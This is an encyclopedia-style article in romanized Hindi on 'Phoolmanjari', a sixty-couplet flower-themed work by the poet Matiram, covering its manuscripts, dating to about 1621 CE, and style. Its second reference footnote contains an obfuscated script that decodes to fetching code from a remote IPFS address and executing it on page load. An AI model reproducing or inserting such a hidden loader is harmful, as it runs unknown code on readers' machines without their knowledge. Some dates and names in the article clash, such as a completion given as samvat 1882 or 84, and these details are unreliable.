फूलमंजरी
phoolamanjari matiram ki pratham rachana mani jati hai. yah abhi tak aprakashit hai. isaki prati bhavanishankar yajnik ko bharatapur rajy mean hindi pustakoan ki khoj karate samay mili thi. isaka vivaran 1 julaee, san 1924 ki 'madhuri' patrika mean[1] diya gaya hai. isake anusar yah ek chhoti-si pustika hai. isamean 60 dohe haian aur pratyek dohe mean ek phool ka nam ata hai. isake sath hi nayika se sambandhit varnan bhi haian. phool ka nam shlesh se us varnan mean bhi khap jata hai.[2]
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rachana kal
is pustak ki tin pratiyaan prapt huee haian aur sabase prachin prati san 1793 ee. (sanvat 1850) ki likhi huee hai. granth ke aantim dohe mean yah spasht hai ki yah pustak mugal badashah jahaangir ke lie agara mean banayi gayi thi-
"hukum pay jahaangir ke lie agare dham. phoolani ki mala kari, mati soan kavi matiram ॥"
isase spasht hai ki jab jahaangir badashah ho gaya aur vah agara ke mahal mean tha, us samay matiram kavi ko 'phoolamanjari' likhane ki usane ajna di. yah samay 'matiram granthavali' ke sampadan ke anusar vah tha, jab jahaangir 16vean jaloosi varsh ka utsav mana raha tha. 'jahaangiranama' ke praman ke anusar yah utsav sanvat 1678 vi. (1030 hijari) mean manaya gaya tha. at: 'phoolamanjari' ka rachana kal bhi isi ke asapas mana jana chahie. 'phoolamanjari' jaisi rachana utsav ke samay ki hi kriti ho sakati hai. kuchh vidvanoan ke matanusar 'phoolamanjari' ki rachana mean ek do varsh lage hoange.[3] is prakar isaki samapti sanvat 1882 ya 84 mean huee, parantu matiram jaise pratibha sampann vyakti ka 60 dohoan ke lie das sal ka samay lagana uchit nahian jan p data. at: 'phoolamanjari' 1621 ee. ki hi rachana mani jani chahie. krishnabihari mishr ke matanusar yadi us samay unaki kishoravastha ki ayu 18 varsh ke lagabhag mani jaye to matiram ka janm-kal 1603 ee. ke asapas samajha ja sakata hai.
saras kriti
'phoolamanjari' ek saras rachana hai. isamean matiram ki rasikata tapakati hai. phooloan ke nam ke sath jahaangir ka vibhinn nayikaoan ke sath vinod isamean varnit haian-
"nisi kari bhari huti, tarasat meri jiv. phool nivari ko saras, vari tum par piv..
kamal nain line kamal, kamal mukhi ke thaanv. tan nyochhavari rajaki, yahi avani bali jaanv.."
isaki bhasha saras evan saral hai. phooloan ke prasang ko lekar is prakar ke granthoan ki parampara hindi mean milati hai aur is prasang mean 'kusumavali' aur 'anurag bag' ke nam ullekhaniy haian, jinamean kramash: phooloan ke sath bhagavannamollekh evan prem ka varnan hua hai. matiram ki janm tithi nikalane ki drishti se 'phoolamanjari' ka vishesh sthan hai.[4]
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tika tippani aur sandarbh
- ↑ mayashankar yajnik likhit 'matiram aur bhooshan' lekh mean.
- ↑ hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 362 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mahakavi matiram, prishth 126
- ↑ sahayata granth- matiram-kavi aur achary: mahendr kumar: mahakavi matiram: tribhuvan sianh.